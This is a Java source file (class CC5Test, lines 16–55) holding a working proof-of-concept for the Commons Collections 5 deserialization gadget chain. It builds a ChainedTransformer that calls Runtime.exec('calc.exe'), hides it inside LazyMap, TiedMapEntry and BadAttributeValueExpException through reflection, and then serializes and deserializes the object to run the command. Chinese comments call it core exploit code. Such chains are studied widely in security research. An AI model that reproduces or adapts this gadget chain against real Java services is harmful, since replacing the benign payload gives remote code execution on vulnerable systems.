| 16 | import java.util.HashMap; |
| 17 | |
| 18 | public class CC5Test { |
| 19 | public static void main(String[] args) throws Exception { |
| 20 | |
| 21 | //构造核心利用代码 |
| 22 | Transformer[] transformers = new Transformer[]{ |
| 23 | new ConstantTransformer(Runtime.class), |
| 24 | new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), |
| 25 | new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), |
| 26 | new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) |
| 27 | }; |
| 28 | |
| 29 | //构造利用链 |
| 30 | ChainedTransformer chain = new ChainedTransformer(transformers); |
| 31 | |
| 32 | //触发连 |
| 33 | HashMap hashMap = new HashMap(); |
| 34 | LazyMap lazymap = (LazyMap) LazyMap.decorate(hashMap, chain); |
| 35 | //将lazyMap传给TiedMapEntry |
| 36 | TiedMapEntry entry = new TiedMapEntry(lazymap, "test"); |
| 37 | //TiedMapEntry entry1 = new TiedMapEntry(null, "test"); |
| 38 | //反射调用TiedMapEntry |
| 39 | BadAttributeValueExpException bad = new BadAttributeValueExpException(null); |
| 40 | System.out.println(bad); |
| 41 | System.out.println(entry); |
| 42 | //System.out.println(entry1); |
| 43 | Field val = bad.getClass().getDeclaredField("val"); |
| 44 | val.setAccessible(true); |
| 45 | val.set(bad,entry); |
| 46 | |
| 47 | //序列化 --> 反序列化 |
| 48 | ByteArrayOutputStream barr = new ByteArrayOutputStream(); |
| 49 | ObjectOutputStream oos = new ObjectOutputStream(barr); |
| 50 | oos.writeObject(bad); |
| 51 | oos.close(); |
| 52 | ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); |
| 53 | ois.readObject(); |
| 54 | } |
| 55 | } |
nothing calls this directly
no outgoing calls
no test coverage detected